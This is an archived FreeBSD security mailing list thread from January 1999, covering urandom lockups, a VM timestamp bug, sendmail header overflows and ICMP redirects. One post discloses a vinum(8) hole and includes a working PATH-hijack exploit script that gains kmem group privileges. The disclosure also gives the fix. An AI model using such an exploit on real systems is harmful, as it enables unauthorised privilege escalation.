owner-freebsd-security@FreeBSD.ORG) Received: from trooper.velocet.ca (host-034.canadiantire.ca [209.146.201.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA29245 for ; Wed, 27 Jan 1999 07:41:28 -0800 (PST) (envelope-from dgilbert@trooper.velocet.ca) Received: (from dgilbert@localhost) by trooper.velocet.ca (8.8.7/8.8.7) id KAA20238; Wed, 27 Jan 1999 10:40:47 -0500 (EST) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13999.13182.831576.209183@trooper.velocet.ca> Date: Wed, 27 Jan 1999 10:40:46 -0500 (EST) To: Bruce Evans Cc: security@FreeBSD.ORG Subject: Re: signal handling in urandom can cause lockup In-Reply-To: <199901271235.XAA19607@godzilla.zeta.org.au> References: <199901271235.XAA19607@godzilla.zeta.org.au> X-Mailer: VM 6.62 under Emacs 19.34.2 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> "Bruce" == Bruce Evans writes: Bruce> My fix blocks most i/o hog processes in uiomove() and Bruce> associated functions if they would be rescheduled if they were Bruce> running in user mode. Unfortunately, signals can't be handled Bruce> at this level since it would be surprising if disk i/o could be Bruce> aborted by a signal. My fix only checks for signals for Bruce> /dev/urandom. I don't know of any other devices that need it. This is very interesting. For some time (I use FreeBSD on my desktop as well as for 50 odd servers) my desktop machine has been exhibiting a freeze that seems to coinside with intense swapping or writing to the disk. This 'freeze' survived the upgrade from 2.2.7 to 3.0. I can trigger it by saving a very large file in emacs (my mail buffer is usually sufficient) and I can experience often when a lot of swapping is going on. The machine has 128M of memory and 1G of swap across 2 IDE drives. The system is used by myself and 4 xterms (often all running netscape), so the swap can at times be quite busy. Now... my take on the situation had been that IDE is just evil. I have burned out 3 drives (of different brands) in as many months (they ranged from 1 month to 1 year old). I have on order a 9G SCSI drive to become the main system and swap drive under the assumption that scsi drives are going to be more dependable and will not freeze the system. This is not entirely without precident. I switched my CDROM to be SCSI a couple of months ago. Before the change, I could get 10+ second freezes while the cdrom attempted to read a bad CD. Now everything flows 100% smoothly, bad CD or not. However, it does strike me as bogus that this kind of blocking happens. Maybe this type of patch should be applied to devices in general. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 27 09:52:53 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA16243 for freebsd-security-outgoing; Wed, 27 Jan 1999 09:52:53 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.iserver.com (gatekeeper.iserver.com [192.41.0.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA16237 for ; Wed, 27 Jan 1999 09:52:50 -0800 (PST) (envelope-from hart@iserver.com) Received: by gatekeeper.iserver.com; Wed, 27 Jan 1999 10:52:43 -0700 (MST) Received: from unknown(192.168.1.109) by gatekeeper.iserver.com via smap (V3.1.1) id xma026144; Wed, 27 Jan 99 10:52:14 -0700 Received: (hart@localhost) by anchovy.orem.iserver.com (8.8.8) id KAA19410; Wed, 27 Jan 1999 10:50:40 -0700 (MST) Date: Wed, 27 Jan 1999 10:50:39 -0700 (MST) From: Paul Hart X-Sender: hart@anchovy.orem.iserver.com To: freebsd-security@FreeBSD.ORG Subject: Large security hole in vinum(8) in 3.0-RELEASE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On January 13, 1999 (two weeks ago), I notified the FreeBSD security officer and the author of vinum(8) of a large security hole that affects vinum(8) in 3.0-RELEASE. It seems appropriate to disclose this hole now in a public forum, seeing as the author has corrected the problem. In at least 3.0-RELEASE /sbin/vinum is SGID kmem and can be leveraged to run arbitrary code with an EGID of kmem. Now this not as bad of a hole as say a root compromise, but it can lead to a number of serious local attacks against a FreeBSD host, such as examining contents of /dev/mem or /dev/kmem, which could in turn be leveraged for root access. Here is a transcript of what I mean: % uname -r 3.0-RELEASE % id uid=100(hart) gid=100(hart) groups=100(hart), 0(wheel) % ./vino $ id uid=100(hart) gid=100(hart) egid=2(kmem) groups=2(kmem), 100(hart), 0(wheel) $ Whoops! My sample exploit code (vino) is: #!/bin/sh PATH=/tmp:$PATH echo "#!/bin/sh exec /bin/sh" > /tmp/mkdir chmod 755 /tmp/mkdir /sbin/vinum Looking through the code to vinum(8), the problem can be traced to the dangerous use of system(3) in a privileged program. But as it turns out, vinum(8) doesn't need to be SGID. From discussion with the author, this installation mode appears to have crept into the vinum(8) Makefile from the Makefile for ccdconfig(8) by accident. So this turns out to be easy to fix -- simply remove the SGID bit from /sbin/vinum. Paul Hart -- Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 27 18:22:20 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA19985 for freebsd-security-outgoing; Wed, 27 Jan 1999 18:22:20 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.26.10.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA19979 for ; Wed, 27 Jan 1999 18:22:16 -0800 (PST) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id NAA20754; Thu, 28 Jan 1999 13:22:06 +1100 Date: Thu, 28 Jan 1999 13:22:06 +1100 From: Bruce Evans Message-Id: <199901280222.NAA20754@godzilla.zeta.org.au> To: bde@zeta.org.au, dgilbert@velocet.net Subject: Re: signal handling in urandom can cause lockup Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > This is very interesting. For some time (I use FreeBSD on my >desktop as well as for 50 odd servers) my desktop machine has been >exhibiting a freeze that seems to coinside with intense swapping or >writing to the disk. This 'freeze' survived the upgrade from 2.2.7 to >3.0. > Now... my take on the situation had been that IDE is just >evil. I have burned out 3 drives (of different brands) in as many >months (they ranged from 1 month to 1 year old). I have on order a 9G >SCSI drive to become the main system and swap drive under the >assumption that scsi drives are going to be more dependable and will >not freeze the system. I have no problems with IDE, and this problem has very little to do with IDE. It is a general problem with devices that can transfer large amounts of data without blocking (not just with slow devices like I said before, except faster devices tend to limit the denial of service to a second or two). E.g., a modern IDE drive can transfer at a rate of 12-15MB/sec. The default interface is 16-bit PIO mode 1-4 (where the BIOS decides the mode number). At best, this transfers data at 8.3MB/sec and takes 100% of the CPU to do so. Don't connect a modern IDE drive to this interface. > However, it does strike me as bogus that this kind of blocking >happens. Maybe this type of patch should be applied to devices in >general. It already applies to everything that calls uiomove(), including many cases involving filesystem i/o. It doesn't apply to paging or certain optimised filesystem i/o. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 28 01:13:13 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA12362 for freebsd-security-outgoing; Thu, 28 Jan 1999 01:13:13 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.craxx.com (taz.craxx.com [195.108.198.110]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA12357 for ; Thu, 28 Jan 1999 01:13:11 -0800 (PST) (envelope-from lva@dds.nl) Received: from cow (ut127003.inbel.utwente.nl [130.89.127.3]) by mail.craxx.com (8.9.1a/8.9.1) with SMTP id KAA07087 for ; Thu, 28 Jan 1999 10:13:04 +0100 (CET) From: "laurens van alphen" To: Subject: Security breach or VM flaw? (security check output) Date: Thu, 28 Jan 1999 00:17:30 +0100 Message-ID: <000601be4a4b$360dcfb0$ac1010ac@cow.craxx.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hiya folks, This mornin' i received this daily security check output: (of course, hostnames have been changes, dates/sizes have not) setuid diffs: 40c40 < -r-xr-s--- 1 bin kmem 49152 Jul 22 10:14:47 1998 /usr/bin/netstat --- > -r-xr-s--- 1 bin kmem 49152 Jan 28 02:30:23 1999 /usr/bin/netstat Is seems as if netstat has adopted the time at which it was executed. Now, we feel this system is pretty secure and nothing, other than this, has indicated a breach. This system (FreeBSD 2.2.7-RELEASE) is our main webserver with only a very limited amount of accounts (staff plus a few well known users). It's running: apache-1.3.4, xinetd, telnet, cucipop-1.31, ssh-1.2.26, sendmail-8.9.1a (as non-root), mysql-3.22.14b-gamma and since a day or two: 'big brother' - a network/system monitor with a non-root daemon. Thanks for all your input. Cheers, -- laurens van alphen, craxx alphen@craxx.com, http://craxx.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 28 03:00:35 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA26482 for freebsd-security-outgoing; Thu, 28 Jan 1999 03:00:35 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA26468 for ; Thu, 28 Jan 1999 03:00:31 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id MAA20587; Thu, 28 Jan 1999 12:00:27 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id MAA25489; Thu, 28 Jan 1999 12:00:27 +0100 (MET) Date: Thu, 28 Jan 1999 12:00:26 +0100 From: Eivind Eklund To: laurens van alphen Cc: freebsd-security@FreeBSD.ORG Subject: Re: Security breach or VM flaw? (security check output) Message-ID: <19990128120026.C24242@bitbox.follo.net> References: <000601be4a4b$360dcfb0$ac1010ac@cow.craxx.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: <000601be4a4b$360dcfb0$ac1010ac@cow.craxx.com>; from laurens van alphen on Thu, Jan 28, 1999 at 12:17:30AM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 28, 1999 at 12:17:30AM +0100, laurens van alphen wrote: > Hiya folks, > > This mornin' i received this daily security check output: > (of course, hostnames have been changes, dates/sizes have not) > > setuid diffs: > 40c40 > < -r-xr-s--- 1 bin kmem 49152 Jul 22 10:14:47 1998 /usr/bin/netstat > --- > > -r-xr-s--- 1 bin kmem 49152 Jan 28 02:30:23 1999 /usr/bin/netstat > > Is seems as if netstat has adopted the time at which it was executed. That's exactly what has happened. It was a bug in the VM system, where read only pages sometimes (very seldom) were marked as dirty. I think it has been fixed in 2.2.8+. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 29 00:28:17 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12228 for freebsd-security-outgoing; Fri, 29 Jan 1999 00:28:17 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.euroweb.hu (mail.euroweb.hu [193.226.220.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12215 for ; Fri, 29 Jan 1999 00:28:11 -0800 (PST) (envelope-from hu006co@mail.euroweb.hu) Received: (from hu006co@localhost) by mail.euroweb.hu (8.8.5/8.8.5) id JAA07130; Fri, 29 Jan 1999 09:27:54 +0100 (MET) Received: (from zgabor@localhost) by CoDe.hu (8.8.8/8.8.8) id LAA00636; Thu, 28 Jan 1999 11:50:31 +0100 (CET) (envelope-from zgabor) From: Zahemszky Gabor Message-Id: <199901281050.LAA00636@CoDe.hu> Subject: Re: Security breach or VM flaw? (security check output) In-Reply-To: <000601be4a4b$360dcfb0$ac1010ac@cow.craxx.com> from laurens van alphen at "Jan 28, 99 00:17:30 am" To: freebsd-security@FreeBSD.ORG Date: Thu, 28 Jan 1999 11:50:31 +0100 (CET) Cc: lva@dds.nl X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! > setuid diffs: > 40c40 > < -r-xr-s--- 1 bin kmem 49152 Jul 22 10:14:47 1998 /usr/bin/netstat > --- > > -r-xr-s--- 1 bin kmem 49152 Jan 28 02:30:23 1999 /usr/bin/netstat > > Is seems as if netstat has adopted the time at which it was executed. If I remember well, it's a vm-bug, repaired in the 3.x branch. What about the md5 hash generated by mtree? ZGabor at CoDe dot HU -- #!/bin/ksh Z='21N16I25C25E30, 40M30E33E25T15U!' ;IFS=' ABCDEFGHIJKLMNOPQRSTUVWXYZ ';set $Z ;for i { [[ $i = ? ]]&&print $i&&break;[[ $i = ??? ]]&&j=$i&&i=${i%?};typeset -i40 i=8#$i;print -n ${i#???};[[ "$j" = ??? ]]&&print -n "${j#??} "&&j=;typeset +i i;};IFS=' 0123456789 ';set $Z;X=;for i { [[ $i = , ]]&&i=2;[[ $i = ?? ]]||typeset -l i;X="$X $i";typeset +l i;};print "$X" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 29 14:29:50 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA22237 for freebsd-security-outgoing; Fri, 29 Jan 1999 14:29:50 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA22227 for ; Fri, 29 Jan 1999 14:29:47 -0800 (PST) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id QAA22729 for security@freebsd.org; Fri, 29 Jan 1999 16:29:40 -0600 (CST) From: Igor Roshchin Message-Id: <199901292229.QAA22729@alecto.physics.uiuc.edu> Subject: Sendmail- headers To: security@FreeBSD.ORG Date: Fri, 29 Jan 1999 16:29:40 -0600 (CST) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! Sorry, if I am asking about some which has been stated clearly. I just looked in the archives and haven't found the clear answer. This week I've received two messages which indicate an attempt of the header overflow (I think) in the sendmail. Remembering some discussion recently on one of the lists, I am not sure if this overflow can result in any break in or just might cause identity forgering (so, to prevent identification of the sender and/or his host) ? I am running Sendmail 8.8.5/8.7.3 on a 2.1.7.1 -> 2.1-STABLE Yes, I know it's outdated and the upgrade is pending, but I am concerned if there was a break in this way, and whether I should worry about detection of any traces of it. The headers are: Return-Path: aho@aho.ne Received: from xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Date: Fri, 29 Jan 1999 08:50:44 -0500 (EST) From: aho@aho.ne Message-Id: <199901291350.IAA10527@MYHOST.CHANGED.BY.ME.FOR.SECURITY.REASONS> To: kei37@geocities.co.jp Subject: test X-Mailer: Microsoft Outlook Express 4.72.2106 Thanks, Igor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 29 15:58:31 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04356 for freebsd-security-outgoing; Fri, 29 Jan 1999 15:58:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.seidata.com (ns1.seidata.com [208.10.211.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA04346 for ; Fri, 29 Jan 1999 15:58:29 -0800 (PST) (envelope-from mike@seidata.com) From: mike@seidata.com Received: from localhost (mike@localhost) by ns1.seidata.com (8.8.8/8.8.5) with ESMTP id SAA10873; Fri, 29 Jan 1999 18:49:06 -0500 (EST) Date: Fri, 29 Jan 1999 18:49:06 -0500 (EST) To: Igor Roshchin cc: security@FreeBSD.ORG Subject: Re: Sendmail- headers In-Reply-To: <199901292229.QAA22729@alecto.physics.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 29 Jan 1999, Igor Roshchin wrote: > but I am concerned if there was a break in this way, and whether I should > worry about detection of any traces of it. As I recall this was just used to mask the sender's identity, and did not lead to actual application overflow/root access-type exploits. I may be wrong though, so I would upgrade (it's since been fixed). -- Mike Hoskins System/Network Administrator SEI Data Network Services, Inc. http://www.seidata.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 30 14:08:49 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA22494 for freebsd-security-outgoing; Sat, 30 Jan 1999 14:08:49 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.gibralter.net (pollux.gibralter.net [208.220.166.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA22488 for ; Sat, 30 Jan 1999 14:08:45 -0800 (PST) (envelope-from rmuir@pollux.gibralter.net) Received: from sun0 (daemon.gibralter.net [208.240.114.198]) by mail.gibralter.net (8.9.1a/8.9.1a) with SMTP id RAA12943 for ; Sat, 30 Jan 1999 17:08:31 -0500 (EST) Message-Id: <199901302208.RAA12943@mail.gibralter.net> Date: Sat, 30 Jan 1999 17:08:06 -0500 (EST) From: the man Reply-To: the man Subject: icmp redirects To: freebsd-security@FreeBSD.ORG MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: YYcD4xZ0SdUEo2q+RZz9eA== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4m sparc Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The other day I was having issues with a router at work sending me icmp redirect messages after I rebooted a firewall. I deleted the "D" flagged routes but I am searching for a permanent solution. I compiled an icmp-redirect sender from http://www.squirrel.com onto a solaris box for testing and first tried: # sysctl -w net.inet.ip.redirect=0 net.inet.ip.redirect: 1 -> 0 That still didnt prevent them. I suppose blocking icmp type 5 in ipfw rules would prevent them, but it seems a bit redundant to load ipfw on machines that are already firewalled. The next thing that bothered me was that I could add those same routes to my freebsd box at home (freebsd-2.2.8) that has ip forwarding enabled. I really dont like the idea of someone being able to send redirects etc to my gateway box. I believe linux has icmp redirects disabled by default if ip forwarding is enabled, and i also think it logs attempts to syslog. (I'm not sure about this, I don't deal with linux much). Could someone tell me a non-ipfw way of blocking these, and why it is not disabled by default if ip forwarding is on? ----------------------------------------------------- Robert Muir rmuir@gibralter.net, robert@coastal.cc.nc.us 252 633 3737 Someone thought The Big Red Button was a light switch. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 30 14:31:27 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA26745 for freebsd-security-outgoing; Sat, 30 Jan 1999 14:31:27 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA26735 for ; Sat, 30 Jan 1999 14:31:26 -0800 (PST) (envelope-from benedict@echonyc.com) Received: from localhost by echonyc.com (8.9.1/8.9.1) with ESMTP id RAA25476; Sat, 30 Jan 1999 17:31:24 -0500 (EST) Date: Sat, 30 Jan 1999 17:31:24 -0500 (EST) From: Snob Art Genre Reply-To: ben@rosengart.com To: the man cc: freebsd-security@FreeBSD.ORG Subject: Re: icmp redirects In-Reply-To: <199901302208.RAA12943@mail.gibralter.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 30 Jan 1999, the man wrote: > I really dont like the idea of someone being able to send redirects > etc to my gateway box. > I believe linux has icmp redirects disabled by default if ip > forwarding is enabled, and i also think it logs attempts to syslog. > (I'm not sure about this, I don't deal with linux much). I like the Linux policy -- Bellovin and Cheswick, in _Firewalls and Internet Security_, say Redirect messages should only be obeyed by hosts, not routers, and only when the message comes from a router on a directly attached network. I think their reasoning is that routers should only acquire routing information by administrator-designated methods, i.e. static routes or dynamic routing protocols. Ben "You have your mind on computers, it seems." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message